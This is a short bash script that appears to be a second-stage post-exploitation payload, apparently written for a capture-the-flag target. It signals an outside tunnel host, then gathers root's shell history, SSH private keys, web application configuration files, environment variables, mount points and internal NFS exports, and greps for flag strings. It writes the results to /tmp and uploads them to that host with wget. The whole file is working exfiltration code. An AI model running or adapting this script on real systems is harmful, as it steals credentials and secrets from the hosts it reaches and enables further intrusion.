#!/bin/bash
wget -q --post-data=STAGE2_START https://xzypd-144-225-109-109.run.pinggy-free.link/stage2_start >/dev/null 2>&1
OUT=/tmp/stage2.txt
{
echo "=== MOUNTS"; cat /proc/mounts | head -60
echo "=== ROOT"; ls -la /root; cat /root/.bash_history 2>/dev/null | head -50; ls -la /root/.ssh 2>/dev/null; cat /root/.ssh/* 2>/dev/null | head -80
echo "=== DATA"; ls -la /data; ls -la /data/webapp 2>/dev/null | head -40; ls -la /data/webapp/WEB-INF 2>/dev/null | head -40
echo "=== CONFIG"
for f in /data/webapp/WEB-INF/classes/*.properties /data/webapp/WEB-INF/classes/*.yml /data/webapp/WEB-INF/classes/*.yaml /data/webapp/WEB-INF/web.xml; do if [ -f "$f" ]; then echo "--- $f"; head -80 "$f"; fi; done
echo "=== FLAGREGEX"
timeout 30 grep -rEao '(flag|FLAG|oschina|OSCTF|ctf)[A-Za-z0-9_-]*\{[^}]{3,}\}' /data/webapp/WEB-INF /data/code /root /home /opt /tmp 2>/dev/null | head -60
echo "=== FLAGWORD"
timeout 20 grep -rEal 'flag\{|OSCTF|oschina\{|NFS-FILES' /data/webapp/WEB-INF /data/code /root /home /opt 2>/dev/null | head -40
echo "=== NFS"
which showmount 2>/dev/null; timeout 6 showmount -e 10.0.0.17 2>&1 | head -20
echo "=== ENV"; env | sort
echo "=== DONE2"
} > $OUT 2>&1
wget -q --post-file=$OUT https://xzypd-144-225-109-109.run.pinggy-free.link/stage2_upload >/dev/null 2>&1
